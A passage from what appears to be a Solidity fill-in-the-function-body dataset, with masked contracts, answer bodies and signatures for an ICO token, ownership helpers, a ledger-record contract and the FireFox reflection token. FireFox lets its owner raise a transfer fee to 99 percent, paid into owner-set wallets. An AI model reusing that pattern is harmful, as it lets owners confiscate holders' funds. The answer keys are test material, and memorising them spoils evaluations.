hash require(sha256(uint(investor) << 96 | tokenPrice) == hash); // Check the signature require(ecrecover(hash, v, r, s) == signer); // Difference between the value argument and actual value should not be // more than 0.005 ETH (gas commission) require(sub(value, msg.value) <= withDecimals(5, 15)); // Number of tokens to distribute uint256 tokensNumber = div(withDecimals(value, decimals), tokenPrice); // Check if there is enough tokens left require(balances[icoAllocation] >= tokensNumber); // Send Ether to the multisig require(multisig.send(msg.value)); // Allocate tokens to an investor balances[icoAllocation] -= tokensNumber; balances[investor] += tokensNumber; Transfer(icoAllocation, investor, tokensNumber); } /// @dev Overrides Owned.sol function function confirmOwnership() public onlyPotentialOwner { // Allow new owner to withdraw tokens from Foundation reserve and // preICO allocation address allowed[foundationReserve][potentialOwner] = balanceOf(foundationReserve); allowed[preIcoAllocation][potentialOwner] = balanceOf(preIcoAllocation); // Forbid old owner to withdraw tokens from Foundation reserve and // preICO allocation address allowed[foundationReserve][owner] = 0; allowed[preIcoAllocation][owner] = 0; // Change owner super.confirmOwnership(); } /// @dev Withdraws tokens from Foundation reserve function withdrawFromReserve(uint amount) public onlyOwner { // Withdraw tokens from Foundation reserve to multisig address require(transferFrom(foundationReserve, multisig, amount)); } /// @dev Changes multisig address function changeMultisig(address _multisig) public onlyOwner { multisig = _multisig; } /// @dev Burns the rest of the tokens after the crowdsale end function burn() public onlyOwner icoIsCompleted { totalSupply = sub(totalSupply, balanceOf(icoAllocation)); balances[icoAllocation] = 0; } }
// Overall, 375,000,000 EQC tokens are distributed totalSupply = withDecimals(375000000, decimals); // 11,500,000 tokens were sold during the PreICO uint preIcoTokens = withDecimals(11500000, decimals); // 40% of total supply is allocated for the Foundation balances[foundationReserve] = div(mul(totalSupply, 40), 100); // PreICO tokens are allocated to the special address and will be distributed manually balances[preIcoAllocation] = preIcoTokens; // The rest of the tokens is available for sale balances[icoAllocation] = totalSupply - preIcoTokens - balanceOf(foundationReserve); // Allow the owner to distribute tokens from the PreICO allocation address allowed[preIcoAllocation][msg.sender] = balanceOf(preIcoAllocation); // Allow the owner to withdraw tokens from the Foundation reserve allowed[foundationReserve][msg.sender] = balanceOf(foundationReserve); signer = _signer; multisig = _multisig;
function QchainToken(address _signer, address _multisig)
/// @dev Contract constructor, sets totalSupply function QchainToken(address _signer, address _multisig)
61405
Owned
changeOwner
contract Owned { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function Owned() public { owner = msg.sender; } function changeOwner(address _newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Owned { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function Owned() public { owner = msg.sender; } <FILL_FUNCTION> }
require(_newOwner != address(0)); OwnershipTransferred(owner, _newOwner); owner = _newOwner;
function changeOwner(address _newOwner) public onlyOwner
function changeOwner(address _newOwner) public onlyOwner
41931
Ownable
renounceOwnership
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } <FILL_FUNCTION> }
emit OwnershipTransferred(_owner, address(0)); _owner = address(0);
function renounceOwnership() public virtual onlyOwner
function renounceOwnership() public virtual onlyOwner
87708
IMCLedgerRecord
ledgerRecordAdd
contract IMCLedgerRecord is Owned{ // 账本记录添加日志 event LedgerRecordAdd(uint _date, bytes32 _hash, uint _depth, string _fileFormat, uint _stripLen, bytes32 _balanceHash, uint _balanceDepth); // Token解锁统计记录 struct RecordInfo { uint date; // 记录日期(解锁ID) bytes32 hash; // 文件hash uint depth; // 深度 string fileFormat; // 上链存证的文件格式 uint stripLen; // 上链存证的文件分区 bytes32 balanceHash; // 余额文件hash uint balanceDepth; // 余额深度 } // 执行者地址 address public executorAddress; // 账本记录 mapping(uint => RecordInfo) public ledgerRecord; constructor() public{ // 初始化合约执行者 executorAddress = msg.sender; } /** * 修改executorAddress,只有owner能够修改 * @param _addr address 地址 */ function modifyExecutorAddr(address _addr) public onlyOwner { executorAddress = _addr; } /** * 账本记录添加 * @param _date uint 记录日期(解锁ID) * @param _hash bytes32 文件hash * @param _depth uint 深度 * @param _fileFormat string 上链存证的文件格式 * @param _stripLen uint 上链存证的文件分区 * @param _balanceHash bytes32 余额文件hash * @param _balanceDepth uint 余额深度 * @return success 添加成功 */ function ledgerRecordAdd(uint _date, bytes32 _hash, uint _depth, string _fileFormat, uint _stripLen, bytes32 _balanceHash, uint _balanceDepth) public returns (bool) {<FILL_FUNCTION_BODY> } }
contract IMCLedgerRecord is Owned{ // 账本记录添加日志 event LedgerRecordAdd(uint _date, bytes32 _hash, uint _depth, string _fileFormat, uint _stripLen, bytes32 _balanceHash, uint _balanceDepth); // Token解锁统计记录 struct RecordInfo { uint date; // 记录日期(解锁ID) bytes32 hash; // 文件hash uint depth; // 深度 string fileFormat; // 上链存证的文件格式 uint stripLen; // 上链存证的文件分区 bytes32 balanceHash; // 余额文件hash uint balanceDepth; // 余额深度 } // 执行者地址 address public executorAddress; // 账本记录 mapping(uint => RecordInfo) public ledgerRecord; constructor() public{ // 初始化合约执行者 executorAddress = msg.sender; } /** * 修改executorAddress,只有owner能够修改 * @param _addr address 地址 */ function modifyExecutorAddr(address _addr) public onlyOwner { executorAddress = _addr; } <FILL_FUNCTION> }
// 调用者需和Owner设置的执行者地址一致 require(msg.sender == executorAddress); // 防止重复记录 require(ledgerRecord[_date].date != _date); // 记录解锁信息 ledgerRecord[_date] = RecordInfo(_date, _hash, _depth, _fileFormat, _stripLen, _balanceHash, _balanceDepth); // 解锁日志记录 emit LedgerRecordAdd(_date, _hash, _depth, _fileFormat, _stripLen, _balanceHash, _balanceDepth); return true;
function ledgerRecordAdd(uint _date, bytes32 _hash, uint _depth, string _fileFormat, uint _stripLen, bytes32 _balanceHash, uint _balanceDepth) public returns (bool)
/** * 账本记录添加 * @param _date uint 记录日期(解锁ID) * @param _hash bytes32 文件hash * @param _depth uint 深度 * @param _fileFormat string 上链存证的文件格式 * @param _stripLen uint 上链存证的文件分区 * @param _balanceHash bytes32 余额文件hash * @param _balanceDepth uint 余额深度 * @return success 添加成功 */ function ledgerRecordAdd(uint _date, bytes32 _hash, uint _depth, string _fileFormat, uint _stripLen, bytes32 _balanceHash, uint _balanceDepth) public returns (bool)
76377
FireFox
_transfer
contract FireFox is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'FireFox'; string private _symbol = 'FIREFOX'; uint8 private _decimals = 9; // Tax and FireBuy fees will start at 0 so we don't have a big impact when deploying to Uniswap // FireBuy wallet address is null but the method to set the address is exposed uint256 private _taxFee = 0; uint256 private _FireBuyFee = 7; uint256 private _previousTaxFee = _taxFee; uint256 private _previousFireBuyFee = _FireBuyFee; address payable public _FireBuyWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 1000000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForFireBuy = 20000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FireBuyWalletAddress, address payable marketingWalletAddress) public { _FireBuyWalletAddress = FireBuyWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _FireBuyFee == 0) return; _previousTaxFee = _taxFee; _previousFireBuyFee = _FireBuyFee; _taxFee = 0; _FireBuyFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _FireBuyFee = _previousFireBuyFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFireBuy(uint256 amount) private { _FireBuyWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFireBuy(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeFireBuy(tFireBuy); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeFireBuy(tFireBuy); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeFireBuy(tFireBuy); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeFireBuy(tFireBuy); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeFireBuy(uint256 tFireBuy) private { uint256 currentRate = _getRate(); uint256 rFireBuy = tFireBuy.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rFireBuy); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tFireBuy); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getTValues(tAmount, _taxFee, _FireBuyFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tFireBuy); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 FireBuyFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tFireBuy = tAmount.mul(FireBuyFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tFireBuy); return (tTransferAmount, tFee, tFireBuy); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setFireBuyFee(uint256 FireBuyFee) external onlyOwner() { require(FireBuyFee >= 1 && FireBuyFee <= 99, 'FireBuyFee should be in 1 - 99'); _FireBuyFee = FireBuyFee; } function _setFireBuyWallet(address payable FireBuyWalletAddress) external onlyOwner() { _FireBuyWalletAddress = FireBuyWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } }
contract FireFox is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'FireFox'; string private _symbol = 'FIREFOX'; uint8 private _decimals = 9; // Tax and FireBuy fees will start at 0 so we don't have a big impact when deploying to Uniswap // FireBuy wallet address is null but the method to set the address is exposed uint256 private _taxFee = 0; uint256 private _FireBuyFee = 7; uint256 private _previousTaxFee = _taxFee; uint256 private _previousFireBuyFee = _FireBuyFee; address payable public _FireBuyWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 1000000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForFireBuy = 20000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FireBuyWalletAddress, address payable marketingWalletAddress) public { _FireBuyWalletAddress = FireBuyWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _FireBuyFee == 0) return; _previousTaxFee = _taxFee; _previousFireBuyFee = _FireBuyFee; _taxFee = 0; _FireBuyFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _FireBuyFee = _previousFireBuyFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFireBuy(uint256 amount) private { _FireBuyWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFireBuy(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeFireBuy(tFireBuy); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeFireBuy(tFireBuy); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeFireBuy(tFireBuy); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeFireBuy(tFireBuy); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeFireBuy(uint256 tFireBuy) private { uint256 currentRate = _getRate(); uint256 rFireBuy = tFireBuy.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rFireBuy); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tFireBuy); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tFireBuy) = _getTValues(tAmount, _taxFee, _FireBuyFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tFireBuy); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 FireBuyFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tFireBuy = tAmount.mul(FireBuyFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tFireBuy); return (tTransferAmount, tFee, tFireBuy); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setFireBuyFee(uint256 FireBuyFee) external onlyOwner() { require(FireBuyFee >= 1 && FireBuyFee <= 99, 